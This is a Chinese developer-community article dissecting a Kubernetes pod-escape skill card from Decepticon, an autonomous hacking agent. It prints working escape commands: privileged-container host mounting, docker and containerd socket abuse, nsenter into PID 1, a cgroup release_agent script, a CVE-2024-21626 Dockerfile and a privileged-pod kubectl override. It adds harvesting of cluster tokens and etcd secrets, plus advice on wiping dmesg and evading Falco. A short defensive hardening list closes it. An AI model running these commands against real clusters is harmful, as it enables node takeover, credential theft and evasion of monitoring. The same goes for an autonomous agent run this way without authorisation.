Decepticon 红队技能库深度解析：Kubernetes Pod 逃逸到节点（Container Escape）实战手册-开发者社区

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址：https://gitcode.com/gh_mirrors/de/Decepticon

本篇以 Decepticon 红队自动化 Agent 的技能库文档 k8s-pod-escape/SKILL.md 为核心，系统讲解从"容器内 RCE"到"节点 root"再到"集群横向"的完整 Pod 逃逸攻击链。你将掌握 privileged 容器滥用、hostPath 挂载逃逸、hostPID/hostIPC 组合利用、危险 capability（SYS_ADMIN / SYS_PTRACE）与 runC CVE 链等六大逃逸原语的检测与利用方法，并了解 Decepticon 仓库中与之配套的 manifest 审计工具与技能加载机制。

技能定位：什么时候该用这张卡

在 Decepticon 的技能体系里，k8s-pod-escape属于cloud-native子域（subdomain），是一张"路由式"操作技能，其前置条件非常明确：你已经在 Pod 内部拿到了代码执行能力（RCE），目标是突破容器边界抵达底层节点（Node），再从节点向整个集群纵深。

技能 frontmatter 中声明的触发关键词覆盖了完整的逃逸面：kubernetes k8s pod escape container break out hostpath privileged hostpid hostipc capabilities cgroups runc cve-2022-0185 cve-2024-21626 leaky vessels，对应的 MITRE ATT&CK 编号为：

编号	战术	在本场景中的含义
T1611	Escape to Host	从容器/沙箱逃逸到宿主机，即本技能的核心目标
T1068	Exploitation for Privilege Escalation	通过 capability、CVE 等手段提升到节点 root
T1610	Deploy Container	通过创建特权 Pod 来部署逃逸容器

技能的allowed-tools声明为Bash Read Write，即执行逃逸操作只需要 shell、文件读写能力，这与技能体内大量mount、chroot、nsenter、curl命令是一致的。

在 container/SKILL.md（容器/K8s 攻击类别的总路由技能）中，本技能被定义为四张子技能卡之一，其加载条件与调用方式如下：

子技能	覆盖内容	何时加载
k8s-pod-escape	privileged 容器、hostPath 逃逸、hostPID + SYS_PTRACE、runC CVE 链、cgroup release agent	已获得 Pod 内 RCE，目标是节点沦陷
k8s-rbac-abuse	RBAC 权限枚举与滥用	已获得 SA token，目标是 cluster-admin
docker-socket-mount	docker.sock / containerd.sock 挂载逃逸	CI 场景发现 socket 挂载
container-cve	高影响运行时 CVE 目录	已指纹识别出运行时版本

总路由文档给出了快速决策树：拿到 Pod 内 RCE → 加载k8s-pod-escape；如果场景不明，也以本技能的 Phase 1 作为起点（Unknown / all of above → start with k8s-pod-escape's Phase 1）。技能通过load_skill("/skills/standard/cloud/container/k8s-pod-escape/SKILL.md")加载——在 Decepticon 中，load_skill是由 middleware/skills.py 与 middleware/skillogy.py 提供的核心工具，Agent 必须先load_skill()获取技能全文再动手，仓库侧会剥离 frontmatter 后返回技能正文。

Phase 1：先把自己"看透"——容器内枚举

逃逸的第一步不是急着打，而是精确回答三个问题：我是怎么被关起来的？我手里有什么权限？我面前有谁？技能文档给出如下枚举基线：

# 识别容器边界（capabilities、seccomp、no_new_privs） cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)' cat /proc/1/status | grep -i cap mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio' ls -la /dev | head -20 id hostname # 读取 ServiceAccount token（K8s 默认挂载的降级凭证） cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60 cat /var/run/secrets/kubernetes.io/serviceaccount/namespace # 用 token 探测 API Server 可达性 TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods

各条命令的判读要点：

/proc/self/status的Cap行：CapEff、CapBnd、CapPrm三组十六进制值决定你能用哪些 capability。CapEff: 0000003fffffffff（或显示为ALL）意味着容器以 privileged 方式运行；0000000000080000中第 21 位置位表示持有CAP_SYS_ADMIN，0000000000040000（第 19 位）表示持有CAP_SYS_PTRACE——这两项是后续多条逃逸路径的前提。
Seccomp与NoNewPrivs：如果 seccomp 为2（filter 模式）且NoNewPrivs为 1，内核会大幅压缩逃逸空间，需要优先考虑纯用户态路径（如 SA token 滥用）。
mount输出：重点找cgroup（cgroup 逃逸的前提）、hostPath类挂载、docker.sock/criosocket。
/proc/1/status与hostname：如果/proc/1呈现宿主机 init 进程的特征，或 hostname 看起来像节点名而非 pod 名，说明你可能已经共享了 hostPID 或 hostNetwork 命名空间。

这一阶段在 Decepticon 中与 k8s-pivot/SKILL.md 的"Identify the cluster you're in"小节高度一致——后者还补充了通过环境变量$KUBERNETES_SERVICE_HOST/$KUBERNETES_SERVICE_PORT_HTTPS获取 API Server 地址、以及cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt导出 CA 证书的做法，二者可组合使用。

Phase 2：检测逃逸原语——从优先级最高的那条开始打

技能文档明确给出的策略是：逐一检测各逃逸原语，哪条能用就打哪条（check each, escalate via the first that works）。下面按优先级逐条展开。

2.1 特权容器（Privileged Container）——一步到位的核武器

# Privileged = 完整的宿主机内核访问。CapEff: 0000003fffffffff 是标志性特征 grep CapEff /proc/self/status # 0000003fffffffff 或 "ALL" → 你是 privileged 的。/dev/sda1、/dev/kmsg 等设备可见 ls -la /dev/sda* /dev/nvme* # 挂载宿主机文件系统： mkdir /mnt/host mount /dev/sda1 /mnt/host # 设备名用 `lsblk` 确认 chroot /mnt/host /bin/bash # 现在你就是节点上的 root

privileged 容器绕过了几乎所有隔离层：所有 capability、所有设备节点可见、无 AppArmor/SELinux/seccomp 约束。0000003fffffffff这个值展开后正是"全部 58 个 capability 位全部置位"，它等价于在宿主机上以 root 运行。关键动作只有两个：lsblk确认宿主机根分区设备（/dev/sda1只是最常见形态），然后mount+chroot。

从防守视角看，Decepticon 的 k8s.py 正是把privileged: true当作critical级发现来审计的——analyze_k8s_manifest()会对每个容器检查securityContext.privileged is True并产出Container <name> privileged结论（见 k8s.py），其 detail 字段原文即"full host device access and kernel caps"。

2.2 hostPath 挂载逃逸——读尽全集群秘密

# 找可疑挂载点 mount | grep -E '/host|/node|docker.sock|/etc|/root' # /var/lib/kubelet 被挂载？可以读所有其他 Pod 的 secret ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null # /var/run/docker.sock 或 /run/containerd/containerd.sock 挂载 = 节点沦陷 docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'

hostPath 逃逸是集群里最常见的"白给"配置：运维为了挂日志、调内核参数、让 Pod 读节点文件，常常把/、/etc、/var/run/docker.sock、/var/lib/kubelet甚至/proc直接挂进容器。其中两个高价值场景：

/var/lib/kubelet挂载：kubelet 的 pods 目录下按pods/<pod-uid>/volumes/kubernetes.io~secret/存放着集群里每一个 Pod 的 SA token，一条find命令即可批量收割（Phase 3 会给出完整命令）。
容器运行时 socket 挂载：持有/var/run/docker.sock等价于宿主机 docker daemon 的 root。上面的docker run ... -v /:/host alpine chroot /host是一条命令完成逃逸的教科书写法；containerd 场景则用ctr -a <sock>指定 socket 地址、--mount type=bind,src=/,dst=/host,options=rbind把宿主根目录 bind 进来再chroot。

Decepticon 对这类配置有专门的子技能卡 docker-socket-mount/SKILL.md，覆盖 docker/containerd/CRI-O 三种 socket 的检测与利用，并额外给出无 docker 客户端时的"裸 API"打法（curl --unix-socket直连创建特权容器）。在 k8s.py 的 manifest 审计中，hostPath指向/、/var/run/docker.sock、/proc、/etc、/root、/var等危险路径会被标记为high 或 critical（docker.sock 为 critical），见 k8s.py；hostNetwork / hostPID / hostIPC三个布尔位也会各自生成 high 级发现（k8s.py）。

2.3 hostPID + SYS_PTRACE——不需要 privileged 的进程级逃逸

# hostPID 让你看到节点上所有进程 ps auxf | head # SYS_PTRACE 在 CapEff 里，你就可以注入这些进程 grep CapEff /proc/self/status # 0000000000080000 包含 CAP_SYS_PTRACE # 找一个宿主机侧的 root 进程并注入 shell nsenter -t 1 -m -u -i -n -p sh # 'nsenter -t 1' 进入 PID 1 的命名空间——在 hostPID 的节点上，PID 1 就是宿主 init

这条路径的两个前提缺一不可：hostPID: true让你能"看见"宿主机进程（/proc视角共享），CAP_SYS_PTRACE让你能"摸到"它们。nsenter -t 1进入宿主机 PID 1（systemd 或 init）的 mount、UTS、IPC、network、PID 命名空间后，你得到的 shell 基本等同于节点 root。Decepticon 在 k8s.py 中把capabilities.add包含SYS_ADMIN / SYS_PTRACE / NET_ADMIN / NET_RAW / SYS_MODULE / DAC_READ_SEARCH的情况标记为 high 级"危险 capability"发现（k8s.py），正是为这种组合逃逸做的自动化铺垫。

2.4 CAP_SYS_ADMIN（无 --privileged）——cgroup release_agent 逃逸

# CI/CD runner（Docker-in-Docker 模式）里很常见 grep CapEff /proc/self/status # 00000000a82425fb 或类似，第 21 位置位 # 0xa82425fb 拆开看包含 CAP_SYS_ADMIN（bit 21）、CAP_SYS_CHROOT（bit 18）等 # cgroup_release_agent 逃逸（宿主内核 < 5.8 且无 user namespace 隔离时） mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x echo 1 > /tmp/x/notify_on_release host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > /tmp/x/release_agent cat > /cmd <<'EOF' #!/bin/sh ip a > /tmp/host_ip id > /tmp/host_id EOF chmod +x /cmd sh -c "echo \$\$ > /tmp/x/cgroup.procs" # /tmp/host_id 现在包含的是宿主机 HOST 的 id 输出

这是经典的 cgroup v1release_agent逃逸：CAP_SYS_ADMIN允许容器内mount一个 cgroup 文件系统，而 cgroup 的release_agent机制会在 cgroup 清空时以宿主机 root身份执行release_agent指向的路径。攻击者把 release_agent 指向一个位于宿主机可写路径（从/etc/mtab的perdir=解析出容器层在宿主上的真实路径）的脚本，然后把当前 shell 的 PID 写进cgroup.procs并让 cgroup 进入"可释放"状态，脚本就在宿主机上以 root 执行了。技能文档注释强调该路径对内核< 5.8、未启用 user namespace 隔离的宿主有效——这是 kernel 版本敏感的典型例证。

2.5 runC CVE 链（CVE-2024-21626 "Leaky Vessels"）

影响范围：runC < 1.1.12 / Docker < 25.0.3 / containerd < 1.7.13。利用方式是"恶意镜像 + WORKDIR + 符号链接"的组合，让镜像在启动时把工作目录落到宿主文件系统。可通过 kubelet API 或暴露的/etc/docker/version探测节点 runC 版本。

# 构建恶意镜像 cat > Dockerfile <<'EOF' FROM scratch WORKDIR /proc/self/fd/8 ENTRYPOINT ["/bin/sh"] EOF docker build -t evil . # 在目标节点上运行——WORKDIR 指向 fd 8（一个已打开的内核 FD）→ 宿主 FS 访问 docker run --rm -it evil

原理：runC 在启动容器进程时会打开若干文件描述符，其中fd 8恰好指向宿主文件系统上的一个目录。WORKDIR /proc/self/fd/8让容器进程的工作目录直接落在宿主文件系统路径上，随后任何相对路径操作（如chroot .、读取./etc/shadow）都发生在宿主 FS 上。Decepticon 在 container-cve/SKILL.md 中把这条链列为目录第一条，并给出同家族的 CVE-2024-23651/-23652/-23653（BuildKit cache mount /RUN --mount逃逸），覆盖runC < 1.1.12、Docker < 25.0.3、containerd < 1.7.13、BuildKit < 0.12.5的完整版本矩阵，还额外收录了 CVE-2022-0185（fsopen()堆溢出，需要 CAP_SYS_ADMIN）、CVE-2019-5736（runC 二进制覆写）、CRI-O CVE-2022-0811（kernel.core_patternsysctl 注入）等历史高影响漏洞，并给出了配套的运行时指纹命令（runc --version、ctr version、kubelet 10250 端口探活等）。技能文档对 CVE 类逃逸的通用工作流是：指纹运行时版本 → 命中目录 → 在副本环境先试一次（容器 CVE 往往对内核版本敏感）→ 成功拿到宿主 root 后按 Phase 3 横向。

2.6 ServiceAccount token → API Server 滥用

如果当前 SA 对某个特权 Pod 拥有pods/exec，或对节点拥有nodes/proxy，甚至能在 kube-system 里create pods，那么根本不需要内核级逃逸——让集群帮你造一个特权容器：

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) # 枚举特权 Pod curl -sk -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/pods?fieldSelector=spec.securityContext.privileged=true # 或者：SA 对 kube-system 有 create pods → 自己跑一个特权 Pod kubectl --token="$TOKEN" --server=https://kubernetes.default.svc \ --insecure-skip-tls-verify run pwn --image=alpine \ --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","-t","1","-m","-u","-i","-n","-p","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'

这段--overrides是整条攻击链的"一键浓缩"：Pod 声明hostPID: true+hostNetwork: true+ 特权容器 +nsenter -t 1 ... sh入口 + 宿主根目录hostPath挂载，创建成功即节点 root。fieldSelector=spec.securityContext.privileged=true是枚举现成特权 Pod 的快捷 API 查询。这条路径与 k8s-rbac-abuse/SKILL.md（pods/exec、create pods、bind/escalate、impersonate等 RBAC 滥用原语）以及 k8s-pivot/SKILL.md 中create pods→ 宿主 root 的 RBAC 提升表相互印证，可作为拿到 token 后的补充打法。

Phase 3：节点后渗透——从节点 root 到集群沦陷

技能文档强调逃逸不是终点：一旦站上节点，目标转向集群（Once you're on the node, pivot to the cluster）。三条高价值收割路径：

# 1. 批量收割每个 Pod 的 SA token find /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*/token -exec cat {} \; -exec echo --- \; # 2. 偷 kubelet 的 kubeconfig（在很多集群里等价于 cluster-admin） cat /etc/kubernetes/kubelet.conf # 3. 在 master 节点上直接从 etcd 读所有 secret ETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \ --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \ get / --prefix --keys-only | grep secrets

kubelet 目录批量收 token：与 Phase 2.2 中/var/lib/kubelet挂载的判断对应——在宿主上直接遍历pods/*/volumes/kubernetes.io~secret/*/token，一次拿到集群内大量 Pod 的凭证。
kubelet.conf：kubelet 的 kubeconfig 通常绑定了system:node或更强的权限，且很多集群没有严格限制节点凭证，因此"cluster-admin 等价物"的判断是务实的。
etcd 直读：当节点恰好是 control plane（master）时，用/etc/kubernetes/pki/etcd/下现成的 CA 与健康检查客户端证书直连127.0.0.1:2379，get / --prefix --keys-only后 grep secrets 即可导出全集群秘密。

拿到节点 root 后的集群纵深还可以走 k8s-pivot/SKILL.md 的路径：kubectl get nodes -o wide枚举节点内网、kubectl --raw /api/v1/namespaces/kube-system/pods定位 etcd Pod 后etcdctl snapshot save打包带走，并通过kg_add_node/kg_add_edge把漏洞证据写回 Decepticon 的知识图谱（该技能内嵌了k8s_audit、kg_*与cve_lookup等工具调用指引）。

OPSEC：逃逸动作一定会留痕

技能文档给出了三条关键的隐蔽性约束：

内核侧：Pod 逃逸会触发 AppArmor / SELinux / seccomp 的 denial 记录，攻击前与攻击后都要检查dmesg | tail评估暴露面。另外 container-cve/SKILL.md 补充提醒：dmesg ring buffer 只有约 1MB，拿到 root 后可用dmesg -C清空。
API 侧：Kubernetes audit log 会记录每一次来自你偷来的 token 的 API 调用。因此技能文档明确建议"用现有 Pod 的 token 做低噪声枚举，而不是急着伪造新 token"。k8s-pivot 的 OPSEC 进一步指出 EKS/GKE/AKS 会把审计日志同步到 CloudWatch / Stackdriver，必须默认"交战已被观测"。
行为侧：Falco 规则会精准命中nsenter、容器内mount、以及容器外的chroot。降低噪声的做法是：把 payload 写进宿主机共享卷，再从一个"人畜无害"的进程名下执行它。

配套工具与源码佐证：Decepticon 的工程化支撑

这张技能卡不是孤立的 Markdown，它在 Decepticon 中有完整的工程配套，理解这些实现能帮你把技能文档用得更准：

Manifest 静态审计工具k8s.py：analyze_k8s_manifest()对解析后的 K8s manifest 做结构化审计，输出的K8sFinding包含severity / kind / name / title / detail / namespace字段。它与技能文档的逃逸原语一一对应：privileged: true（critical）、危险 hostPath（/、/var/run/docker.sock、/proc、/etc、/root、/var，critical/high）、hostNetwork/hostPID/hostIPC（high）、危险 capability 白名单（SYS_ADMIN、SYS_PTRACE、NET_ADMIN、NET_RAW、SYS_MODULE、DAC_READ_SEARCH，high）、通配 RBAC 规则（critical）等。也就是说，技能文档教你怎么"打"，k8s.py 帮你在打之前先"自动看"——两者互为攻防两面。
LangChain 工具封装tools.py：k8s_audit(manifest_json)把上述分析包装成 Agent 可调用的工具并纳入CLOUD_TOOLS工具集；同组还有metadata_endpoints（云元数据端点目录，传kubernetes可筛选）、iam_policy_audit、tfstate_audit等，构成云原生攻击面的工具矩阵。
技能加载机制middleware/skills.py：SKILL.md 通过load_skill()按路径拉取全文，load_skill("/skills/standard/cloud/container/k8s-pod-escape/SKILL.md")是 container/SKILL.md 官方给出的加载方式；skillogy 后端还会校验技能路径前缀做 ACL 防护。
CVE 检索工具链：技能文档 2.5 节提到的 runC CVE 链，在 Decepticon 中对应cve_lookup("<component> <version>")与cve_poc_lookup("<CVE-ID>")两个工具（注册于 exploiter.py，在 decepticon.md 中被明确为"加载 CVE 类子技能后第一个要调用的工具"）：先按组件版本枚举候选 CVE（按 CVSS × EPSS × KEV 排序），再拉取公开 PoC 的字节级细节。这与 container-cve 子技能"指纹 → 匹配 → 利用"的工作流完全闭环。

总结：一条可复现的 Pod → Node → Cluster 攻击链

把整张技能卡串起来，就是一条高度可复现的作战链路：

Phase 1 枚举：/proc/self/status读 Cap/Seccomp，mount找挂载面，读 SA token 并探测 API 可达性；
Phase 2 选原语：按privileged → hostPath/socket → hostPID+SYS_PTRACE → CAP_SYS_ADMIN(cgroup) → runC CVE → SA token/API的优先级逐个检测、先通先打，每一条都给了可直接执行的命令与判定特征；
Phase 3 横向：节点上批量收 kubelet 目录 token、偷 kubelet.conf、在 master 上直读 etcd，随后按 k8s-pivot / k8s-rbac-abuse 继续向集群蔓延；
全程 OPSEC：盯 dmesg、防 audit log、降 Falco 噪声。

对防守方而言，这张卡的反面就是加固清单：杜绝privileged: true、杜绝危险 hostPath（尤其是 docker.sock 与/var/lib/kubelet）、收敛 capability 白名单、启用 PodSecurity 标准（baseline 起步、restricted 目标）、关闭默认 SA token 自动挂载、对 etcd 与 kubelet 端口做网络策略收敛。技能文档末尾的 References 还从防御者视角列出了 Kubernetes Goat、Trivy / Kubescape / Kube-Hunter 等验证工具，建议红蓝双方在同一套靶场里互相检验。相关技能卡与源码可继续深入阅读：container/SKILL.md、docker-socket-mount/SKILL.md、container-cve/SKILL.md、k8s-rbac-abuse/SKILL.md、k8s-pivot/SKILL.md 以及 manifest 审计实现 k8s.py。